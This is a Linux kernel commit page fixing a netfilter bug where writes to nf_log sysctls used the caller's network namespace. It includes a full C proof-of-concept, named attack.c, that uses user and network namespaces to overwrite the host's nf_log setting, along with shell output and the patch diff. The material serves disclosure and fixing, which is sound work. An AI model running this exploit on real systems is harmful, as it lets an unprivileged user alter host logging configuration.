Commit 5f3ed0fa authored by Jann Horn's avatar Jann Horn Committed by Luis Henriques

netfilter: fix namespace handling in nf_log_proc_dostring

BugLink: http://bugs.launchpad.net/bugs/1642968

commit dbb5918c upstream.

nf_log_proc_dostring() used current's network namespace instead of the one
corresponding to the sysctl file the write was performed on. Because the
permission check happens at open time and the nf_log files in namespaces
are accessible for the namespace owner, this can be abused by an
unprivileged user to effectively write to the init namespace's nf_log
sysctls.

Stash the "struct net *" in extra2 - data and extra1 are already used.

Repro code:

#define _GNU_SOURCE
#include <stdlib.h>
#include <sched.h>
#include <err.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>

char child_stack[1000000];

uid_t outer_uid;
gid_t outer_gid;
int stolen_fd = -1;

void writefile(char *path, char *buf) {
        int fd = open(path, O_WRONLY);
        if (fd == -1)
                err(1, "unable to open thing");
        if (write(fd, buf, strlen(buf)) != strlen(buf))
                err(1, "unable to write thing");
        close(fd);
}

int child_fn(void *p_) {
        if (mount("proc", "/proc", "proc", MS_NOSUID|MS_NODEV|MS_NOEXEC,
                  NULL))
                err(1, "mount");

        /* Yes, we need to set the maps for the net sysctls to recognize us
         * as namespace root.
         */
        char buf[1000];
        sprintf(buf, "0 %d 1\n", (int)outer_uid);
        writefile("/proc/1/uid_map", buf);
        writefile("/proc/1/setgroups", "deny");
        sprintf(buf, "0 %d 1\n", (int)outer_gid);
        writefile("/proc/1/gid_map", buf);

        stolen_fd = open("/proc/sys/net/netfilter/nf_log/2", O_WRONLY);
        if (stolen_fd == -1)
                err(1, "open nf_log");
        return 0;
}

int main(void) {
        outer_uid = getuid();
        outer_gid = getgid();

        int child = clone(child_fn, child_stack + sizeof(child_stack),
                          CLONE_FILES|CLONE_NEWNET|CLONE_NEWNS|CLONE_NEWPID
                          |CLONE_NEWUSER|CLONE_VM|SIGCHLD, NULL);
        if (child == -1)
                err(1, "clone");
        int status;
        if (wait(&status) != child)
                err(1, "wait");
        if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
                errx(1, "child exit status bad");

        char *data = "NONE";
        if (write(stolen_fd, data, strlen(data)) != strlen(data))
                err(1, "write");
        return 0;
}

Repro:

$ gcc -Wall -o attack attack.c -std=gnu99
$ cat /proc/sys/net/netfilter/nf_log/2
nf_log_ipv4
$ ./attack
$ cat /proc/sys/net/netfilter/nf_log/2
NONE

Because this looks like an issue with very low severity, I'm sending it to
the public list directly.
Signed-off-by: default avatarJann Horn <jann@thejh.net>
Signed-off-by: default avatarPablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
Signed-off-by: default avatarTim Gardner <tim.gardner@canonical.com>
parent 8aa2356f
...@@ -401,7 +401,7 @@ static int nf_log_proc_dostring(struct ctl_table *table, int write, ...@@ -401,7 +401,7 @@ static int nf_log_proc_dostring(struct ctl_table *table, int write,
size_t size = *lenp; size_t size = *lenp;
int r = 0; int r = 0;
int tindex = (unsigned long)table->extra1; int tindex = (unsigned long)table->extra1;
struct net *net = current->nsproxy->net_ns; struct net *net = table->extra2;
if (write) { if (write) {
if (size > sizeof(buf)) if (size > sizeof(buf))
...@@ -453,7 +453,6 @@ static int netfilter_log_sysctl_init(struct net *net) ...@@ -453,7 +453,6 @@ static int netfilter_log_sysctl_init(struct net *net)
3, "%d", i); 3, "%d", i);
nf_log_sysctl_table[i].procname = nf_log_sysctl_table[i].procname =
nf_log_sysctl_fnames[i]; nf_log_sysctl_fnames[i];
nf_log_sysctl_table[i].data = NULL;
nf_log_sysctl_table[i].maxlen = NFLOGGER_NAME_LEN; nf_log_sysctl_table[i].maxlen = NFLOGGER_NAME_LEN;
nf_log_sysctl_table[i].mode = 0644; nf_log_sysctl_table[i].mode = 0644;
nf_log_sysctl_table[i].proc_handler = nf_log_sysctl_table[i].proc_handler =
...@@ -463,6 +462,9 @@ static int netfilter_log_sysctl_init(struct net *net) ...@@ -463,6 +462,9 @@ static int netfilter_log_sysctl_init(struct net *net)
} }
} }
for (i = NFPROTO_UNSPEC; i < NFPROTO_NUMPROTO; i++)
table[i].extra2 = net;
net->nf.nf_log_dir_header = register_net_sysctl(net, net->nf.nf_log_dir_header = register_net_sysctl(net,
"net/netfilter/nf_log", "net/netfilter/nf_log",
table); table);
......
Markdown is supported
0%
or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment